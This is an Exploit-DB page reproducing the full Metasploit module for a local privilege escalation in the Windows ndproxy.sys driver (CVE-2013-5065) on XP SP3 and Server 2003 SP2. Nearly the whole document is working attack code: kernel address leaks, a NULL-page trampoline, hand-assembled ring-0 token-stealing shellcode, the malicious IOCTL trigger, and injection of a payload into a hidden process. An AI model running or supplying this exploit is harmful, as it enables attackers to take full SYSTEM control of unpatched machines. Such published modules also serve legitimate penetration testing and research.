Microsoft Windows – ‘ndproxy.sys’ Local Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2013-12-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/30392/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'rex'
    
    class Metasploit3 < Msf::Exploit::Local
    Rank = AverageRanking
    
    include Msf::Post::File
    include Msf::Post::Windows::Priv
    include Msf::Post::Windows::Process
    
    def initialize(info={})
    super(update_info(info, {
    'Name'=> 'Microsoft Windows ndproxy.sys Local Privilege Escalation',
    'Description'=> %q{
    This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
    SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
    processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
    to access an array unsafely, and the value is used to perform a call, leading to a NULL
    pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
    module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
    work the service "Routing and Remote Access" must be running on the target system.
    },
    'License' => MSF_LICENSE,
    'Author'=>
    [
    'Unknown', # Vulnerability discovery
    'ryujin', # python PoC
    'Shahin Ramezany', # C PoC
    'juan vazquez' # MSF module
    ],
    'Arch'=> ARCH_X86,
    'Platform'=> 'win',
    'Payload' =>
    {
    'Space' => 4096,
    'DisableNops' => true
    },
    'SessionTypes'=> [ 'meterpreter' ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'thread',
    },
    'Targets' =>
    [
    [ 'Automatic', { } ],
    [ 'Windows XP SP3',
    {
    'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
    '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
    '_TOKEN' => "\xc8",# Offset to TOKEN from the _EPROCESS struct
    '_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct
    '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
    }
    ],
    [ 'Windows Server 2003 SP2',
    {
    'HaliQuerySystemInfo' => 0x1fa1e,
    '_KPROCESS' => "\x38",
    '_TOKEN' => "\xd8",
    '_UPID' => "\x94",
    '_APLINKS' => "\x98"
    }
    ]
    ],
    'References'=>
    [
    [ 'CVE', '2013-5065' ],
    [ 'OSVDB' , '100368'],
    [ 'BID', '63971' ],
    [ 'EDB', '30014' ],
    [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
    [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
    [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
    [ 'URL', 'http://www.secniu.com/blog/?p=53' ],
    [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
    [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
    ],
    'DisclosureDate'=> 'Nov 27 2013',
    'DefaultTarget' => 0
    }))
    
    end
    
    def add_railgun_functions
    session.railgun.add_function(
    'ntdll',
    'NtAllocateVirtualMemory',
    'DWORD',
    [
    ["DWORD", "ProcessHandle", "in"],
    ["PBLOB", "BaseAddress", "inout"],
    ["PDWORD", "ZeroBits", "in"],
    ["PBLOB", "RegionSize", "inout"],
    ["DWORD", "AllocationType", "in"],
    ["DWORD", "Protect", "in"]
    ])
    
    session.railgun.add_function(
    'ntdll',
    'NtDeviceIoControlFile',
    'DWORD',
    [
    [ "DWORD", "FileHandle", "in" ],
    [ "DWORD", "Event", "in" ],
    [ "DWORD", "ApcRoutine", "in" ],
    [ "DWORD", "ApcContext", "in" ],
    [ "PDWORD", "IoStatusBlock", "out" ],
    [ "DWORD", "IoControlCode", "in" ],
    [ "LPVOID", "InputBuffer", "in" ],
    [ "DWORD", "InputBufferLength", "in" ],
    [ "LPVOID", "OutputBuffer", "in" ],
    [ "DWORD", "OutPutBufferLength", "in" ]
    ])
    
    session.railgun.add_function(
    'ntdll',
    'NtQueryIntervalProfile',
    'DWORD',
    [
    [ "DWORD", "ProfileSource", "in" ],
    [ "PDWORD", "Interval", "out" ]
    ])
    session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
    session.railgun.add_function(
    'psapi',
    'EnumDeviceDrivers',
    'BOOL',
    [
    ["PBLOB", "lpImageBase", "out"],
    ["DWORD", "cb", "in"],
    ["PDWORD", "lpcbNeeded", "out"]
    ])
    session.railgun.add_function(
    'psapi',
    'GetDeviceDriverBaseNameA',
    'DWORD',
    [
    ["LPVOID", "ImageBase", "in"],
    ["PBLOB", "lpBaseName", "out"],
    ["DWORD", "nSize", "in"]
    ])
    end
    
    def open_device(dev)
    
    invalid_handle_value = 0xFFFFFFFF
    
    r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)
    
    handle = r['return']
    
    if handle == invalid_handle_value
    return nil
    end
    
    return handle
    end
    
    def find_sys_base(drvname)
    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
    
    addresses.each do |address|
    results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
    current_drvname = results['lpBaseName'][0..results['return'] - 1]
    if drvname == nil
    if current_drvname.downcase.include?('krnl')
    return [address, current_drvname]
    end
    elsif drvname == results['lpBaseName'][0..results['return'] - 1]
    return [address, current_drvname]
    end
    end
    
    return nil
    end
    
    def ring0_shellcode(t)
    restore_ptrs ="\x31\xc0"# xor eax, eax
    restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L")# mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
    
    tokenstealing ="\x52" # push edx # Save edx on the stack
    tokenstealing << "\x53" # push ebx # Save ebx on the stack
    tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
    tokenstealing << "\x8b\x40" + t['_KPROCESS']# mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
    tokenstealing << "\x8b\xc8" # mov ecx, eax
    tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"# mov ebx, dword ptr [eax+0C8h]# Retrieves TOKEN
    tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"# mov eax, dword ptr [eax+88h]<====| # Retrieve FLINK from ActiveProcessLinks
    tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"# sub eax,88h| # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
    tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
    tokenstealing << "\x75\xe8" # jne 0000101e ======================
    tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
    tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
    tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
    tokenstealing << "\x5b" # pop ebx# Restores ebx
    tokenstealing << "\x5a" # pop edx# Restores edx
    tokenstealing << "\xc2\x10" # ret 10h# Away from the kernel!
    
    ring0_shellcode = restore_ptrs + tokenstealing
    return ring0_shellcode
    end
    
    def fill_memory(proc, address, length, content)
    
    result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
    
    unless proc.memory.writable?(address)
    vprint_error("Failed to allocate memory")
    return nil
    end
    
    vprint_good("#{address} is now writable")
    
    result = proc.memory.write(address, content)
    
    if result.nil?
    vprint_error("Failed to write contents to memory")
    return nil
    else
    vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
    end
    
    return address
    end
    
    def create_proc
    windir = expand_path("%windir%")
    cmd = "#{windir}\\System32\\notepad.exe"
    # run hidden
    begin
    proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
    rescue Rex::Post::Meterpreter::RequestError
    # when running from the Adobe Reader sandbox:
    # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
    return nil
    end
    
    return proc.pid
    end
    
    def disclose_addresses(t)
    addresses = {}
    
    vprint_status("Getting the Kernel module name...")
    kernel_info = find_sys_base(nil)
    if kernel_info.nil?
    vprint_error("Failed to disclose the Kernel module name")
    return nil
    end
    vprint_good("Kernel module found: #{kernel_info[1]}")
    
    vprint_status("Getting a Kernel handle...")
    kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
    kernel32_handle = kernel32_handle['return']
    if kernel32_handle == 0
    vprint_error("Failed to get a Kernel handle")
    return nil
    end
    vprint_good("Kernel handle acquired")
    
    
    vprint_status("Disclosing the HalDispatchTable...")
    hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
    hal_dispatch_table = hal_dispatch_table['return']
    if hal_dispatch_table == 0
    vprint_error("Failed to disclose the HalDispatchTable")
    return nil
    end
    hal_dispatch_table -= kernel32_handle
    hal_dispatch_table += kernel_info[0]
    addresses["halDispatchTable"] = hal_dispatch_table
    vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
    
    vprint_status("Getting the hal.dll Base Address...")
    hal_info = find_sys_base("hal.dll")
    if hal_info.nil?
    vprint_error("Failed to disclose hal.dll Base Address")
    return nil
    end
    hal_base = hal_info[0]
    vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
    
    hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
    addresses["HaliQuerySystemInfo"] = hali_query_system_information
    
    vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
    return addresses
    end
    
    
    def check
    vprint_status("Adding the railgun stuff...")
    add_railgun_functions
    
    if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
    return Exploit::CheckCode::Detected
    end
    
    handle = open_device("\\\\.\\NDProxy")
    if handle.nil?
    return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)
    
    os = sysinfo["OS"]
    case os
    when /windows xp.*service pack 3/i
    return Exploit::CheckCode::Appears
    when /[2003|.net server].*service pack 2/i
    return Exploit::CheckCode::Appears
    when /windows xp/i
    return Exploit::CheckCode::Detected
    when /[2003|.net server]/i
    return Exploit::CheckCode::Detected
    else
    return Exploit::CheckCode::Safe
    end
    
    end
    
    def exploit
    
    vprint_status("Adding the railgun stuff...")
    add_railgun_functions
    
    if sysinfo["Architecture"] =~ /wow64/i
    fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
    elsif sysinfo["Architecture"] =~ /x64/
    fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end
    
    my_target = nil
    if target.name =~ /Automatic/
    print_status("Detecting the target system...")
    os = sysinfo["OS"]
    if os =~ /windows xp.*service pack 3/i
    my_target = targets[1]
    print_status("Running against #{my_target.name}")
    elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
    my_target = targets[2]
    print_status("Running against #{my_target.name}")
    elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
    my_target = targets[2]
    print_status("Running against #{my_target.name}")
    end
    else
    my_target = target
    end
    
    if my_target.nil?
    fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
    end
    
    print_status("Checking device...")
    handle = open_device("\\\\.\\NDProxy")
    if handle.nil?
    fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
    else
    print_good("\\\\.\\NDProxy found!")
    end
    
    print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
    @addresses = disclose_addresses(my_target)
    if @addresses.nil?
    session.railgun.kernel32.CloseHandle(handle)
    fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
    else
    print_good("Addresses successfully disclosed.")
    end
    
    
    print_status("Storing the kernel stager on memory...")
    this_proc = session.sys.process.open
    kernel_shell = ring0_shellcode(my_target)
    kernel_shell_address = 0x1000
    result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
    if result.nil?
    session.railgun.kernel32.CloseHandle(handle)
    fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
    else
    print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
    end
    
    print_status("Storing the trampoline to the kernel stager on memory...")
    trampoline = "\x90" * 0x38 # nops
    trampoline << "\x68" # push opcode
    trampoline << [0x1000].pack("V") # address to push
    trampoline << "\xc3" # ret
    trampoline_addr = 0x1
    result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
    if result.nil?
    session.railgun.kernel32.CloseHandle(handle)
    fail_with(Failure::Unknown, "Error while storing trampoline on memory")
    else
    print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
    end
    
    print_status("Storing the IO Control buffer on memory...")
    buffer = "\x00" * 1024
    buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
    buffer[28, 4] = [0x34].pack("V")# In order to trigger the vulnerable call
    buffer_addr = 0x0d0d0000
    result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
    if result.nil?
    session.railgun.kernel32.CloseHandle(handle)
    fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
    else
    print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
    end
    
    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
    magic_ioctl = 0x8fff23c8
    # Values taken from the exploit in the wild, see references
    ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
    
    session.railgun.kernel32.CloseHandle(handle)
    
    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
    
    print_status("Checking privileges after exploitation...")
    
    unless is_system?
    fail_with(Failure::Unknown, "The exploitation wasn't successful")
    end
    
    p = payload.encoded
    print_good("Exploitation successful! Creating a new process and launching payload...")
    new_pid = create_proc
    
    if new_pid.nil?
    print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
    return
    end
    
    print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
    if execute_shellcode(p, nil, new_pid)
    print_good("Enjoy")
    else
    fail_with(Failure::Unknown, "Error while executing the payload")
    end
    
    
    end
    
    end